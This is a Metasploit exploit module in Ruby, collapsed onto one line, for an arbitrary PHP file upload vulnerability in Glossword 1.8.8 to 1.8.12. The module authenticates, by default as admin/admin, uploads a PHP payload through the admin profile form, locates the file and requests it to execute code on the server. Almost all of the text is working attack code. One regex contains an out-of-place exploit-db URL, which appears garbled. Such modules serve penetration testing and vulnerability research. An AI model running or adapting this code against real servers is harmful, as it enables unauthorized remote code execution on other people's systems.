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## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Glossword v1.8.8 - 1.8.12 Arbitrary File Upload Vulnerability", 'Description'=> %q{ This module exploits a file upload vulnerability in Glossword versions 1.8.8 to 1.8.12 when run as a standalone application. This application has an upload feature that allows an authenticated user with administrator roles to upload arbitrary files to the 'gw_temp/a/' directory. }, 'License'=> MSF_LICENSE, 'Author' => [ 'AkaStep', # Discovery 'Brendan Coles <bcoles[at]gmail.com>' # metasploit exploit ], 'References' => [ [ 'EDB','24456' ], [ 'OSVDB' '89960' ] ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets'=> [['Automatic Targeting', { 'auto' => true }]], 'Privileged' => true, 'DisclosureDate' => "Feb 05 2013", 'DefaultTarget'=> 0)) register_options( [ OptString.new('TARGETURI', [true, 'The path to the web application', '/glossword/1.8/']), OptString.new('USERNAME',[true, 'The username for Glossword', 'admin']), OptString.new('PASSWORD',[true, 'The password for Glossword', 'admin']) ], self.class) end def check base= target_uri.path peer= "#{rhost}:#{rport}" user= datastore['USERNAME'] pass= datastore['PASSWORD'] # login print_status("#{peer} - Authenticating as user '#{user}'") begin res = login(base, user, pass) if res if res.code == 200 print_error("#{peer} - Authentication failed") return Exploit::CheckCode::Unknown elsif res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/ print_good("#{peer} - Authenticated successfully") return Exploit::CheckCode::Appears end end return Exploit::CheckCode::Safe rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("#{peer} - Connection failed") end return Exploit::CheckCode::Unknown end def on_new_session(client) if client.type == "meterpreter" client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") client.fs.file.rm("#{@fname}") else client.shell_command_token("rm #{@fname}") end end def upload(base, sid, fname, file) user = datastore['USERNAME'] pass = datastore['PASSWORD'] data = Rex::MIME::Message.new data.add_part(file, 'application/x-php', nil, "form-data; name=\"file_location\"; filename=\"#{fname}\"") data.add_part("edit-own", nil, nil, 'form-data; name="a"') data.add_part("users",nil, nil, 'form-data; name="t"') data.add_part("Save", nil, nil, 'form-data; name="post"') data.add_part("#{sid}", nil, nil, 'form-data; name="sid"') data.add_part("#{user}",nil, nil, 'form-data; name="arPost[login]"') data.add_part("#{pass}",nil, nil, 'form-data; name="arPost[pass_new]"') data.add_part("#{pass}",nil, nil, 'form-data; name="arPost[pass_confirm]"') data_post = data.to_s data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') res = send_request_cgi({ 'method'=> 'POST', 'uri' => normalize_uri(base, 'gw_admin.php'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data'=> data_post, }) return res end def login(base, user, pass) res = send_request_cgi({ 'method' => 'POST', 'uri'=> normalize_uri(base, 'gw_login.php'), 'data' => "arPost%5Buser_name%5D=#{user}&arPost%5Buser_pass%5D=#{pass}&arPost%5Blocale_name%5D=en-utf8&a=login&sid=&post=Enter" }) return res end def exploit base= target_uri.path @peer = "#{rhost}:#{rport}" @fname= rand_text_alphanumeric(rand(10)+6) + '.php' user= datastore['USERNAME'] pass= datastore['PASSWORD'] # login; get session id and token print_status("#{@peer} - Authenticating as user '#{user}'") res = login(base, user, pass) if res and res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/ token = "#{$1}" sid = "#{$2}" print_good("#{@peer} - Authenticated successfully") else fail_with(Exploit::Failure::NoAccess, "#{@peer} - Authentication failed") end # upload PHP payload print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length} bytes)") php = %Q|<?php #{payload.encoded} ?>| begin res = upload(base, sid, @fname, php) if res and res.code == 301 and res['location'] =~ /Setting saved/ print_good("#{@peer} - File uploaded successfully") else fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed") end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") end # retrieve PHP file path print_status("#{@peer} - Locating PHP payload file") begin res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri(base, 'gw_admin.php?a=edit-own&t=users'), 'cookie' => "sid#{token}=#{sid}" }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") end if res and res.code == 200 and res.body =~ /<img width="" height="" src="https://www.exploit-db.com/exploits/24548/([^"]+)"/ shell_uri = "#{$1}" @fname= shell_uri.match('(\d+_[a-zA-Z\d]+\.php)') print_good("#{@peer} - Found payload file path (#{shell_uri})") else fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Failed to find PHP payload file path") end # retrieve and execute PHP payload print_status("#{@peer} - Executing payload (#{shell_uri})") begin send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri(base, shell_uri), }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed") end if !res or res.code != 200 fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Executing payload failed") end end end |
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